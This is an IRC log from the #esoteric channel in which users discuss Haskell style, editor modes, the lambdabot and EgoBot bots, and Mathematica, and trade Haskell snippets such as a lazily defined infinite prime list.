18:08:38 <Deewiant> Hey, this program is important: it parses my custom-type files which have the mycology comparison data
18:08:54 <ehird> pikhq: I'm not sure "oxs" is the best name, but I couldn't think of anything better :P
18:08:54 <Deewiant> Incidentally, it could also use a rewrite, but that's besides the point
18:09:13 <Deewiant> buildTable' _ _ _ _ [] _ [] = "</tbody>"
18:09:23 <Deewiant> There's some kind of Zen to this, I'm sure.
18:09:36 <ehird> Man, pastebin that program, pronto.
18:09:38 <Deewiant> I've only had to fix one bug in it, I think.
18:09:38 <pikhq> ehird: Well, it's certainly cleaner than using (x:xs) everywhere.
18:10:53 <pikhq> Now if only I could remember how ti install Emacs Lisp packages so I could have Haskell mode.
18:11:01 * pikhq gets out his dead-tree manual
18:11:14 <Deewiant> http://deewiant.pastebin.com/f3306916
18:11:41 <ehird> pikhq: Package manager?
18:11:47 <ehird> pikhq: BTW, you want the "haskell-indentation" mode too.
18:11:54 <ehird> Also inferior-haskell, if you're into that sort of thing.
18:11:59 <AnMaster> Deewiant, that green background thingy for strings. Unusual.
18:12:35 <ehird> Deewiant: jeez that program sucks
18:12:45 <ehird> (jeez that syntax highlighting sucks)
18:12:56 <Deewiant> That program rocks, it does exactly what it should.
18:13:13 <lament> i was completely unable to install lexah :(
18:13:32 <ehird> lament: gtk + os x is like ... two things that don't go together without a lot of pain.
18:13:41 <ehird> like... like gtk and os x.
18:13:55 <lament> i'm stuck doing haskell in vim
18:13:58 <AnMaster> Deewiant, nice definition of rocks
18:14:01 <ehird> i haven't used leksah but I don't like how it changes 'beta' to the greek symbol and thus encourages you to use it
18:14:04 <lament> which only sort of works
18:14:09 <ehird> (it also does "gamma")
18:14:13 <ehird> since that's not typically used in haskell.
18:14:22 <ehird> also i don't really like IDEs
18:14:30 <AnMaster> Deewiant, it isn't clean or such though.
18:14:43 <ehird> if textmate was open source, worked on more stuff, and had a port of haskell-indentation.el, I'd be all over it
18:14:59 <Deewiant> "if textmate was emacs I'd be all over it"
18:14:59 <ehird> atm i just use it anyway and manually indent haskell since it's the easiest
18:15:06 <pikhq> Sweet. Haskell mode FTW.
18:15:09 <ehird> Deewiant: no, emacs is mostly shit :P
18:15:15 <ehird> i want a few specific things, i.e.
18:15:19 <ehird> being open source — not emacs-specific
18:15:27 <ehird> worked on more stuff — nor this
18:15:34 <ehird> a port of haskell-indentation.el — nor this.
18:15:41 <AnMaster> but the total result is emacs :P
18:15:42 <ehird> pikhq: yah, it is nice.
18:15:54 <ehird> AnMaster: for definitions of emacs that are willfully ignorant and ignore a huge portion of emacs.
18:16:06 <lament> emacs is pretty horrible
18:16:12 <AnMaster> ehird, I thought those were included in "worked on more stuff"?
18:16:25 <AnMaster> stuff includes irc for example clearly
18:16:26 <lament> also haskell is different enough from everything else that it easily deserves a dedicated editor
18:16:41 <ehird> AnMaster: stuff = platforms.
18:17:00 <AnMaster> ehird, that wasn't clear from the context. Could have been "more file formats" or such
18:17:07 <ehird> lament: meh; the only hard part that you can't do with a general language mode is indentation
18:17:23 <ehird> AnMaster: you're the only person who could see it as ambiguous..
18:17:43 <Deewiant> ehird: I thought it meant file formats.
18:17:43 <AnMaster> ehird, err, have you asked everyone else in the channel?
18:17:54 <Deewiant> It's the thing I associate emacs with.
18:17:54 <ehird> ok, everyone who's a dirty foreigner
18:17:56 * pikhq notes that Gentoo's haskell mode package installs haskell-mode, haskell-indent-mode, and inferior-haskell.
18:18:07 <ehird> pikhq: Haskell-indent-mode?
18:18:08 <Deewiant> ehird: Right, everybody native understands "stuff == OSs" :-)
18:18:17 <ehird> maybe that's haskell-indentation's mode name
18:18:29 <lament> ehird: indentation, prettification (like leksah does), automatic documentation, "go to definition", "find usages", refactoring, interface with hoogle, automatic completion
18:18:33 <pikhq> If it's a mode, it's a minor mode.
18:18:38 <ehird> you do know how inferior-modes work right, pikhq? :P
18:18:41 <pikhq> Yeah, it's a minor mode.
18:18:46 <ehird> pikhq: it's automatic
18:18:52 <ehird> it hooks into haskell-mode
18:18:58 <lament> ehird: listing of stuff in a module
18:19:12 <pikhq> Ooookay... That doesn't exactly come up much in Emacs, now does it? :P
18:19:22 <lament> ehird: hooks with GHC obviously
18:19:26 -!- augur has quit (Read error: 104 (Connection reset by peer)).
18:19:30 <lament> ehird: including debugging and profiling
18:19:35 -!- augur has joined.
18:19:44 <ehird> lament: indentation — the only hard part; prettification — leksah just does some alpha/gamma shit and :: and ->, meh; automatic documentation — meh; "go to definition" — should go in the language mode; "find usages" — ditto, editors should support this stuff; refactoring — meh, make a plugin; hoogle — meh; completion — language mode
18:19:48 <ehird> listing — language mode
18:20:26 <lament> prettification is quite hard, i suspect
18:20:38 <ehird> lament: yes, but it isn't all that valuable
18:20:41 <lament> ehird: yes, but your mehs are unjustified
18:20:46 <Deewiant> !haskell main = print (repeat 5 "meh")
18:20:46 <ehird> also, leksah just does a few boring adjustments
18:20:54 <ehird> !haskell repeat 5 "meh"
18:20:57 <lament> i'm not saying how awesome leksah is, i've never even used it
18:20:58 <ehird> lament: so your mom
18:21:01 <ehird> GregorR-L: hey it broked.
18:21:13 <ehird> (note: its cocoa ui is unusable)
18:21:21 <lament> ehird: i suspect i'm going to hate anything that has a vim mode and an emacs mode.
18:21:21 <ehird> !haskell repeat 5 "GregorR-L it is broke"
18:21:36 <ehird> lament: ok, if you prefer to spend your time arguing on irc :P
18:21:50 <Deewiant> !haskell print (repeat 5 "meh")
18:21:58 <ehird> Deewiant: no Data.List
18:22:00 <ehird> i think is the issue
18:22:05 <ehird> GregorR-L: it used to print out the expression automatically if you didn't yourself
18:22:09 <ehird> ↑ this used to work
18:22:14 <Deewiant> !haskell print (replicate 5 "meh")
18:22:15 <EgoBot> ["meh","meh","meh","meh","meh"]
18:22:19 <ehird> there's no such thing as repeat
18:22:26 <ehird> GregorR-L: make it give us the error messages then :P
18:22:28 <ehird> Deewiant: well right
18:22:37 <ehird> !haskell repeat "lol"
18:22:55 <ehird> egobot sucks due to not having rate limiting and line cutoff and shit; can we get lambdabot in here?
18:22:57 <GregorR-L> ehird: Make it give your mom the error messages.
18:22:58 <ehird> who owns lambdabot these days, Cale?
18:23:03 <lament> !haskell sequenceM_ (repeat (print "lol"))
18:23:07 <Deewiant> ehird: Don't respond to the DCC...
18:23:35 <Deewiant> Configure your client properly, or switch to another.
18:23:57 <ehird> anyway i don't want a bunch of shitty dcc windows :P
18:24:01 <lament> !haskell sequence_ (repeat (print "lol"))
18:24:19 <ehird> Deewiant: tabs. in my irc client.
18:24:30 <Deewiant> ehird: And what does this have to do with anything?
18:24:59 <ehird> i don't want to switch to a dcc-doing client because i don't think it's a reasonable way for EgoBot to do things anyway
18:25:02 <Deewiant> Is your current situation not a billion shitty DCC windows
18:25:19 <ehird> no, my current situation is nothing because my client doesn't support dcc.
18:25:20 <GregorR-L> ehird complains endlessly about EgoBot DCC'ing.
18:25:36 <GregorR-L> I'm playing the world's smallest violin for you, ehird.
18:25:44 -!- ChanServ has set channel mode: +o lament.
18:25:45 <Deewiant> Ah, I thought you were complaining about how you get DCC spammed without cutoff and shit
18:25:56 -!- lament has set channel mode: -o lament.
18:26:02 <ehird> GregorR-L: what about the world's smallest pianist?
18:26:07 <ehird> lament: THREATENING OPS OF DOOM
18:26:27 <lament> threatening, yet completely impotent
18:26:39 <ehird> quick everyone, be on your best behaviour for lambdabot coming in here.
18:26:47 -!- gwern has joined.
18:27:04 * ehird looks professional.
18:27:05 -!- lambdabot has joined.
18:27:22 <Deewiant> Do we really need to bring "the" lambdabot here?
18:27:27 <lament> a parade, in honour of lambdabot!!
18:27:31 <lambdabot> ["yes","yes","yes","yes","yes","yes","yes","yes","yes","yes","yes","yes","y...
18:27:34 <Deewiant> As opposed to GregorR or somebody just running their own
18:27:38 <lament> @vixen do we really need you here?
18:27:42 <ehird> Deewiant: why bother?
18:27:44 <lament> @vixen or would you rather go away?
18:27:46 <ehird> this is simpler :-P
18:27:51 <Deewiant> This is the kind of place where people try to DOS bots and break them
18:28:01 <Deewiant> lambdabot is broken enough as-is :-P
18:28:04 <lament> @vixen baby, wanna get DOSed?
18:28:14 <lament> @vixen what about hot sex?
18:28:15 <ehird> lambdabot's in too many channels, we're too responsible (← wishful thinking) ;-)
18:28:18 <Deewiant> For instance, I don't know if it has protection against bot-loops
18:28:20 <ehird> lament: get a room
18:28:26 <Deewiant> In fact, I seem to recall it doesn't
18:28:28 <ehird> Deewiant: it doesn't do any commands
18:28:29 <lament> @vixen do you have protection?
18:28:32 <ehird> it prefixes output with a space
18:28:44 <ehird> so unless your bot's prefix is " "
18:28:44 <Deewiant> That used to be circumventable
18:28:44 <AnMaster> <ehird> no, my current situation is nothing because my client doesn't support dcc. <-- what a stupid client.
18:28:46 <lament> loops are an important point
18:28:53 <lament> we can pretty much guarantee people will try to make them
18:28:58 <pikhq> > let s x y z = x z (y z); k = x y = x; i = s k k;in i [1..10]
18:28:59 <lambdabot> <no location info>: parse error on input `='
18:29:01 -!- labo has joined.
18:29:22 <lambdabot> lexical error in string/character literal at chara...
18:29:24 <pikhq> That would be fail.
18:29:29 <pikhq> > let s x y z = x z (y z); k x y = x; i = s k k;in i [1..10]
18:29:35 <ehird> lament: ais523 and me are the most common loopers and ais is probably too responsible to botloop lambdabot, and i'm too lazy :)
18:29:42 <pikhq> Thas more like it.
18:29:50 <ehird> Well, it's good to see a regular day in #esoteric is progressing.
18:30:03 -!- lament has set topic: David slowed his pace slightly as his ears, which had been tingling painfully, burst forth off of his head, leaving two bleeding gashes. "Ouch," he sputtered, pulling hair wet with blood off of his scalp. But there was no time to bandage the wound, as he quickly regained his running stride as the pirate alligator bear mutants waddled after him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D | Don't botloop lambdabot..
18:30:04 <Deewiant> pikhq: s = ap, k = const, i = id
18:30:16 <lambdabot> forall (m :: * -> *) a b. (Monad m) => m (a -> b) -> m a -> m b
18:30:24 * ehird scares pikhq with the scary type signature.
18:30:40 <pikhq> Deewiant: Doesn't surprise me, but I just want SKI for a bit.
18:30:47 -!- lament has set topic: David slowed his pace slightly as his ears, which had been tingling painfully, burst forth off of his head, leaving two bleeding gashes. "Ouch," he sputtered, pulling hair wet with blood off of his scalp. But there was no time to bandage the wound, as he quickly regained his running stride as the pirate alligator bear mutants waddled after him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D | Be nice to lambdabot!.
18:30:47 <pikhq> ehird: The monads! The monads!
18:31:04 <pikhq> I am a pitiful Haskell noob!
18:31:11 <lambdabot> forall (m :: * -> *) a b (m1 :: * -> *) a1 b1 c'. (Monad m, Monad m1) => (((m (a -> b), m1 (m1 a1)) -> b1) -> c') -> ((m (a -> b), m1 (m1 a1)) -> b1) -> ((m (a -> b), m1 (m1 a1)) -> (m a -> m b, m1
18:31:23 <lambdabot> Source not found. That's something I cannot allow to happen.
18:31:27 <Deewiant> pikhq: Sure, just saying that they're all available under standard names.
18:31:30 <ehird> whcih was I thinking about.
18:32:04 <pikhq> Cleaned up my merge sort, BTW>
18:32:05 <pikhq> http://pastebin.ca/1471435\
18:32:10 <pikhq> http://pastebin.ca/1471435 , even.
18:32:28 <ehird> pikhq: that's pretty much how I'd write it
18:32:30 <Deewiant> Still shadows oxs, x, xs. Better, though.
18:32:33 <lambdabot> YHC says: There is currently no debugging system available. Please write correct programs.
18:32:37 <ehird> pikhq: | x < y, | x >= y
18:32:40 <lambdabot> ghc says: PArse error (possibly incorrect indentation)
18:32:42 <ehird> | x < y, | otherwise
18:32:44 <ehird> (otherwise = True :-))
18:32:46 <lambdabot> ghc says: Use -fglasgow-exts to allow multi-parameter classes
18:32:52 <lambdabot> ghc says: PArse error (possibly incorrect indentation)
18:32:57 <lambdabot> ghc says: jump island out of range
18:32:58 <ehird> Deewiant: is shadowing those really a big deal?
18:32:59 <pikhq> ehird: True, true. One last C-ism. :P
18:33:02 <ehird> merge is separate from the main mergesort body
18:33:07 <ehird> pikhq: wouldn't you say "else" in C?
18:33:13 <ehird> not if (x < y) { ... } else if (x >= y) { ... }
18:33:15 <gwern> isn't that merge definition a line too long?
18:33:19 <Deewiant> ehird: Since they have the same type, if you change the inner to z:zs you might still reference x:xs accidentally
18:33:31 <ehird> Deewiant: that's true.
18:33:36 <gwern> merge xs [] = xs; merge [] ys = ys == merge xs ys = xs ++ ys ?
18:33:38 <Deewiant> Or you want to reference the outer, or something
18:33:44 <pikhq> gwern: My first Haskell, so... Maybe.
18:34:10 <ehird> gwern: "erge [] ys = ys == merge xs "
18:34:20 <gwern> I mean, those can only differ if there are 2 full-list args, but you've defined no case for that
18:34:23 <Deewiant> ehird: mapM, forM, filterM, foldM, replicateM, liftM, off the top of my head
18:35:01 <lambdabot> forall a (m :: * -> *). (MonadFix m) => (a -> m a) -> m a
18:35:08 <gwern> so you could put the third merge clause first, and then fall back on merge a b = a++b
18:35:18 <ehird> :t take 100 (iterate Just Nothing)
18:35:19 <lambdabot> Occurs check: cannot construct the infinite type: a = Maybe a
18:35:23 <Deewiant> I'm somewhat against putting base cases last
18:35:36 <ehird> gwern: "erge [] ys = ys == merge xs"
18:35:38 <ehird> does that make any sense to you?
18:35:43 <ehird> merge doesn't return a boolean.
18:35:53 <ehird> pikhq: shushest thou
18:36:03 <gwern> ehird: I was being informal
18:36:04 <lambdabot> forall (m :: * -> *) a b. (Monad m) => m a -> (a -> m b) -> m b
18:36:20 <lambdabot> forall a (m :: * -> *) b. (Monad m) => (a -> m b) -> m a -> m b
18:36:28 <lambdabot> forall b a (m :: * -> *) b1. (Monad m) => (a -> m b1) -> (m b1 -> m a -> b) -> m a -> b
18:36:29 <Deewiant> ehird: He meant that 'merge xs [] = xs; merge [] ys = ys' == 'merge xs ys = xs ++ ys'
18:36:42 <ehird> yeah, that works if you put the base case last
18:36:45 <ehird> but is imo a bit confusing
18:36:57 <lambdabot> forall a. (Ord (a -> Bool), Ord a) => a -> (a -> Bool) -> Bool
18:37:06 * ehird attempts to find a use for (>>=).(=<<)
18:37:11 <lament> what kind of type is (m b1 -> m a -> b)
18:37:21 <ehird> unless it involves unsafePerformIO ;-)
18:37:34 -!- augur has quit (Read error: 104 (Connection reset by peer)).
18:37:41 -!- augur has joined.
18:37:44 <Deewiant> ?ty const.const 1 -- this kind of type
18:37:45 <lambdabot> forall b b1 a. (Num b) => a -> b1 -> b
18:38:08 <Deewiant> ?djinn (a -> mb1) -> (mb1 -> ma -> b) -> ma -> b
18:38:40 <ehird> !djinn does lambdabot listen on !s?
18:38:46 <coppro> Have I ever mentioned that Haskell scares me?
18:38:47 <ehird> no EgoBot conflict then :P
18:38:50 <lambdabot> fd:7: hClose: resource vanished (Broken pipe)
18:38:54 <ehird> cool, still broken
18:39:05 <ehird> it's warm and fluffy!
18:39:22 <coppro> also got more weird syntax than shafuck
18:39:57 <ehird> haskell's syntax is perfectly regular
18:39:57 <gwern> weird? haskell syntax is lovely
18:40:03 <ehird> it just has a lot of operators bolted on ;-)
18:40:11 <ehird> (ok, it's not regular in the formal sense; shut up)
18:40:23 <Deewiant> I can understand why somebody might not see (>>=).(=<<) as lovely.
18:40:24 <gwern> although I sometimes wonder if $ doesn't cause more problems than it solves
18:40:56 <pikhq> Having just started learning Haskell last night, Haskell seems to allow for some really lovely and elegant code.
18:41:16 <pikhq> (oh, and Haskell is the first functional language I've really bothered trying to learn)
18:41:17 <labo> @unpl (>>=).(=<<
18:41:19 <labo> @unpl (>>=).(=<<)
18:41:24 <Deewiant> And it allows for really horrible and unreadable code too - a true general-purpose language!
18:41:26 <coppro> also arcane and not even remotely comprehensible to anyone not familiar with it
18:41:43 <coppro> Deewiant: sounds like C++!
18:41:50 <ehird> that applies to all languages, coppro
18:41:53 <ehird> how is haskell syntax arcane?
18:41:54 <pikhq> Except less awful.
18:41:54 <Deewiant> I don't consider being comprehensible to someone not familiar with a language an inherent merit of the language
18:42:05 <ehird> huh http://esolangs.org/wiki/ redirects to voxelperfect but http://esolangs.org/wiki/Main_Page doesn't
18:42:28 <gwern> ehird: precedence and parsing can be confusing, especially when multiple things get involved like ., $, [], and function application
18:42:46 -!- ehird has set topic: David slowed his pace slightly as his ears, logging the channel to http://tunes.org/~nef/logs/esoteric/?C=N;O=D, noted that lambdabot was in their midst and decreed that everyone shall be nice to it. They also noted that the wiki is at http://esolangs.org/wiki/..
18:42:50 <Deewiant> ehird: Some spam today, in http://esolangs.org/wiki/Special:Recentchanges
18:43:01 <ehird> i'm just wondering about the odd redirection
18:43:15 <gwern> I will say that haskell seems to get strings and chars right; I was flummoxed when I was learning scheme and saw characters weren't 'a', but #\a or something weird like that
18:43:45 <ehird> because ' is quote.
18:44:09 -!- kar8nga has joined.
18:44:16 <ehird> Deewiant: too ambiguous for scheme's tastes.
18:44:22 <gwern> ehird: yeah, I eventually realized that, but still
18:46:24 <pikhq> ehird: Anyways, I think that Haskell will only break my brain when I get to monads...
18:46:36 <ehird> monads just clicked with me first time
18:46:50 <pikhq> Hmm. Well, we'll see when I get there.
18:47:12 <ehird> i just used, like, IO and State with do notation, then I saw their definition and how you can use the operators to write IO/State stuff, then I saw the definition of the list monad and worked out how it worked and /shrug
18:48:50 <pikhq> Anyways, so far, just the whole 'purely functional' thing seems to... Make sense.
18:49:00 -!- bsmntbombdood has joined.
18:49:06 <pikhq> Was not expecting that.
18:49:13 -!- deveah has joined.
18:49:32 <ehird> purely functional languages, i think, are obvious from strong type systems
18:49:45 <coppro> Purely functional can be good
18:49:45 <ehird> as side-effecting vs not is another type distinction to be made
18:49:52 <ehird> and you don't actually need impurity to do side-effects.
18:50:03 <ehird> coppro: OO-only is never good.
18:50:39 <coppro> I think 'never' is too strong
18:50:46 <ehird> Java's a bad example because it's so terrible besides.
18:51:18 <coppro> It also depends to what extent you consider something to be OO - do anonymous delegates count as OO?
18:51:54 <coppro> heck, even purely imperative programming is sometimes most appropriate for a task
18:52:17 <ehird> @faq Can Haskell do purely imperative programs?
18:52:17 <lambdabot> The answer is: Yes! Haskell can do that.
18:52:53 <Deewiant> ehird: The list monad still serves mostly to confuse me :-)
18:53:16 <ehird> Deewiant: It's just "amb".
18:53:36 <Deewiant> Oh, it's just id. No, wait, it's not. :-P
18:53:52 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
18:54:35 <ehird> Deewiant: It's id in the list monad:
18:54:45 <Deewiant> I just don't think that anything nontrivial with it is very intuitive.
18:54:59 <Deewiant> filterM (const [True,False]) [1,2,3] -- quick, what does this do?
18:55:10 <ehird> OK, that's confusing.
18:55:35 <ehird> > do a <- [1,2,3]; b <- [4,5,6]; when (x*y /= 8) []; return (a,b)
18:55:46 <ehird> Whatever, it used to work :P
18:55:58 <ehird> Anyway, the list monad can be useful.
18:56:13 <ehird> Plus, it IS a monad, so omitting the instance is just silly.
18:56:14 <gwern> for generating permutations, for example
18:56:29 <gwern> (useful in my scripts)
18:57:14 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
18:57:14 <ehird> > (map f [x,y],foldr (f.g) [1,2,3])
18:57:19 <ehird> Oh, not that rubbish.
18:57:27 <ehird> > do a <- [1,2,3]; b <- [4,5,6]; when (a*b /= 8) []; return (a,b)
18:58:04 <Deewiant> > (map f [x,y] :: [Expr],foldr f 0 [1,2,3] :: Expr)
18:59:06 <ehird> > (map f [x,y],foldr (f.g) 0 [1,2,3])
18:59:26 <Deewiant> ?ty map f [x,y] -- this is why
18:59:27 <lambdabot> forall b. (SimpleReflect.FromExpr b) => [b]
19:02:31 <ehird> GregorR-L: Hey, you should add a !mathematica.
19:02:38 <ehird> Although that'd require you to have a Mathematica license.
19:02:42 <coppro> doesn't `wolfram do that?
19:02:50 <ehird> Octave is not mathematica :P
19:02:55 <ehird> coppro: no, `wolfram is Alpha
19:03:05 <coppro> yes, but that runs things through mathmatica
19:03:05 <Deewiant> Alpha is close enough for most purposes.
19:03:33 <GregorR-L> Oh, that's MATLAB-y, not MATHEMATICA-y, forgot :P
19:03:54 <ehird> you can't even define functions and then use them in an alpha line
19:04:09 <ehird> and no, you're simply wrong; i use mathematica all the time for shit alpha would splutter on
19:04:21 <ehird> Deewiant: for definitions of most purposes limited to "what I use"? ic
19:04:36 <Deewiant> ehird: Of course, what other purposes are there
19:04:50 <Deewiant> On a more serious note, are those 'all the time' things oneliners?
19:06:39 <pikhq> Bah. Maxima is awesome and you know it. :P
19:07:18 <ehird> mathematica's syntax is a lot nicer
19:07:24 <ehird> and it has a bigger stdlib
19:13:29 * ehird writes MathematicaBot.
19:14:15 <ehird> I hope mathematica can't write files. Crap, it can.
19:16:37 <ehird> GregorR-L: does it work on Darwin?
19:16:54 <ehird> gwern: man, I have no idea how many thousands of dependencies Mathematica has
19:17:01 <GregorR-L> In fact, I know it doesn't, as it includes a glibc patch.
19:22:13 <pikhq> I hereby resolve to never use Mathematica.
19:22:28 <ehird> He's talking about.
19:22:45 <ehird> pikhq: Oops, you can't retract vows :-P
19:22:57 <ehird> (Well, plash, but pola-run is part of plash)
19:23:07 -!- gwern has left (?).
19:23:10 <pikhq> I'll just have to scam Agora's contract rules, won't I?
19:23:24 <ehird> With Haskell. (Somehow.)
19:23:29 <ehird> i wanna write a mathematica replacement in haskell sometime
19:26:46 -!- kar8nga has quit (Remote closed the connection).
19:30:38 -!- inurinternet has joined.
19:32:57 <ehird> Challenge: communicate with only verbs.
19:33:26 <lament> in russian there's a phrase consisting of six infinitives in a row
19:33:59 <lament> собраться встать пойти купить выпить
19:34:24 <lament> "to decide to get up to go to buy (something) to drink"
19:34:32 <ehird> "verbing weirds communicating"
19:35:21 <CESSMASTER> of course it's about drinking in the morning
19:36:31 <lament> get up in the sense of stop sitting
19:40:23 <ehird> pikhq: i was about to be offended for a second
19:41:21 <ehird> lol@guy in #haskell asking for C# help
19:47:51 <ehird> "19:47 jmcarthur_work: Baughn, if the universe is infinitely large, there is a 100% probability of exactly our portion of the universe existing somewhere"
19:48:07 <ehird> "19:47 jmcarthur_work: assuming it is random, i mean"
19:48:10 <ehird> Stop getting angry
19:48:17 <GregorR-L> There is a 100% probability of exactly our portion of the universe existing somewhere.
19:49:01 <GregorR-L> And also, "random" isn't /quite/ sufficient, it could be random over a range not including us.
19:49:33 <GregorR-L> e.g. if I take the number "7" and append a series of infinite random numbers between 1 and 5, it's infinite and random but still doesn't include a 7.
19:49:53 <ehird> GregorR-L: Well, yeah, but that's a formality.
20:07:18 <ehird> Things I hate: two people with the same name
20:07:47 -!- GregorR-L has changed nick to ehurd.
20:24:32 <lambdabot> [1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,...
20:24:42 <pikhq> Infinite lists! :D
20:25:10 <ehird> pikhq: may I break your mind?
20:25:37 <ehird> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in primelist
20:25:38 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
20:25:43 <ehird> Mutually recursive primes :-)
20:25:49 <ehird> And infinite lists.
20:25:53 <ehird> Two for the price of laziness!
20:26:06 <pikhq> That is awesome. Also, I knew there was a way to do that, I just wasn't sure exactly what that way was.
20:26:35 * pikhq will have to make his own mutually recursive prime stuff sometime. Possibly later tonight.
20:26:56 -!- asiekierka has joined.
20:27:45 <pikhq> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in primelist
20:27:47 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
20:28:05 <ehird> pikhq: did you actually change anything there? :P
20:28:27 <pikhq> No. Isn't that how you greet people? With a list of all the primes?
20:29:29 <ehird> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in drop 1000 primelist
20:29:30 <lambdabot> [7927,7933,7937,7949,7951,7963,7993,8009,8011,8017,8039,8053,8059,8069,8081...
20:29:33 <ehird> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in drop 10000 primelist
20:29:36 <lambdabot> [104743,104759,104761,104773,104779,104789,104801,104803,104827,104831,1048...
20:29:44 <ehird> GHC. It's like raw speed in a sufficiently smart can.
20:29:54 <ehird> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in drop 100000 primelist
20:29:59 <lambdabot> mueval-core: Prelude.read: no parse
20:30:32 <ehird> drop takes an Int, doesn't it.
20:30:35 <ehird> @hoogle genericDrop
20:30:35 <lambdabot> Data.List genericDrop :: Integral i => i -> [a] -> [a]
20:30:43 <ehird> pikhq: there's a wart for you, btw.
20:30:50 <ehird> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in genericDrop 100000 primelist
20:30:55 <lambdabot> mueval-core: Prelude.read: no parse
20:31:04 <pikhq> ehird: Where Int is C's int, and Integer is a bignum, basically?
20:31:10 <pikhq> Yeah, that there is a wart.
20:31:12 <ehird> pikhq: Integer is either an int or a bignum.
20:31:17 <ehird> But I think it's long or something actually.
20:31:34 <ehird> pikhq: It's just in there for efficiency; I'd prefer it was named e.g. MachineWord so people didn't use it much.
20:31:48 <ehird> But there's genericX for most X list functions, which sucks.
20:32:02 <pikhq> And the 'drop' function, 'take', etc. take Ints, and genericFoo does Num, IIRC.
20:32:15 <pikhq> Definitely counts as a wart.
20:33:23 * pikhq tries to decipher that isprime function.
20:34:14 <ehird> pikhq: Here's a de-pointlessified version:
20:34:18 <ehird> @unpl not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2))
20:34:18 <lambdabot> (\ g -> not (any (\ m -> (mod n m) == 0) (takeWhile (\ q -> (q ^ 2) <= n) g)))
20:34:34 <asiekierka> ((I'm hopefully getting a portable computer with a 8086 and a programming app onboard so I can make interpreters for esolangs everywhere I am (if i have it and have 2 AA baterries)))
20:34:37 <ehird> and a $ b, as you probably know, is a (b).
20:34:44 <pikhq> ehird: But the pointless one is clear; I'm just taking time to type it out.
20:36:36 <ehird> @pl \x -> foo `fmap` bar x
20:36:43 <ehird> There should be an operator for that.
20:36:48 <ehird> Or rather, a nicer name.
20:37:34 <pikhq> Of the numbers in primelist, square all the ones less than or equal to n, and check if n is divisible by any of them?
20:38:09 <ehird> And since this only depends on numbers strictly less than primelist is calling on us to prime-check, it only ever looks at those we've already considered.
20:38:13 <pikhq> In other words, functional Sieve of Eratosthenes.
20:38:15 <ehird> And thus never gets into an infinite loop.
20:38:22 <ehird> pikhq: — with worse time complexity.
20:38:31 <ehird> It's more of a zen koan than a useful algorithm :P
20:38:39 <pikhq> Because it was implemented like that, yes.
20:38:47 <pikhq> But it is basically that sieve.
20:39:32 <pikhq> According to wikipedia, a more elegant implementation:
20:40:06 <pikhq> > let sieves (p : xs) = p : sieve [x | x <- xs, x `mod` p > 0] in primes = sieves [2..]
20:40:08 <lambdabot> <no location info>: parse error on input `='
20:40:36 <pikhq> > let sieve (p : xs) = p : sieve [x | x <- xs, x `mod` p > 0] in primes = sieve [2..]
20:40:37 <lambdabot> <no location info>: parse error on input `='
20:40:46 <ehird> pikhq: No, that one is pretty much the most elegant due to the infiniteness of the infinite list asking isprime, which then looks at elements of primelist, which would cause it to get trapped in a loop, except we only consider ones we've already done.
20:40:48 <ehird> Can't beat that :-P
20:40:55 <ehird> @hoogle Int->[a]->[a]
20:40:56 <lambdabot> Data.List drop :: Int -> [a] -> [a]
20:41:04 <ehird> Grr, there's no dropFromEnd.
20:41:06 -!- deveah has quit ("MUHAHAHAH!!!1111").
20:41:14 <ehird> Well, reverse . drop n . reverse :-)
20:41:16 <pikhq> ehird: It's pretty nice that isprime is point-free, though.
20:42:13 <ehird> munge = unlines . reverse . drop 2 . reverse . drop 4 . lines
20:43:11 <Deewiant> > iterate (unwords . reverse . drop 2 . reverse . drop 4 . words) (unwords $ replicate 100 "foo")
20:43:12 <lambdabot> ["foo foo foo foo foo foo foo foo foo foo foo foo foo foo foo foo foo foo f...
20:44:03 <pikhq> > unwords . reverse . drop 2 . reverse . drop 4 . words `iterate` unwords $ replicate 100 "foo"
20:44:05 <lambdabot> cannot mix `GHC.Base..' [infixr 9] and `GHC.L...
20:44:14 <pikhq> And correct Haskell. I hate that, too.
20:45:41 * pikhq needs to figure out the freaking precedence of operators. XD
20:46:46 <ehird> Deewiant: Say, do you think "unlines . foo . lines . unlines . bar . lines" will turn into "unlines . foo . bar . lines"?
20:47:39 <Deewiant> "unlines . foo . lines . unlines . bar" might not, though.
20:47:54 <Deewiant> I'm not sure if lines . unlines is always id, but if the input came from lines it should be.
20:48:07 <ehird> @check (\x -> (lines . unlines) x == x)
20:48:08 <lambdabot> "Falsifiable, after 164 tests:\n[\"\\44389\\596659\\562239\\498043\\591429\...
20:48:17 <ehird> Real helpful cutoff there, lambdabot
20:48:25 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
20:48:48 <ehird> > unlines $ lines "\na\n"
20:48:52 <ehird> It is unbreakable!
20:49:02 <pikhq> ehird: ... Check. Really.
20:49:09 <Deewiant> @check \x -> (lines . unlines . map (filter ((< 127).ord)) x == x
20:49:15 <ehird> pikhq: QuickCheck, bitch.
20:49:17 <Deewiant> @check \x -> (lines . unlines . map (filter ((< 127).ord))) x == x
20:49:19 <lambdabot> "Falsifiable, after 1 tests:\n[\"\\45210\",\"\\268475\"]\n"
20:49:20 <pikhq> I don't know if that is merely a good idea or a stunning idea.
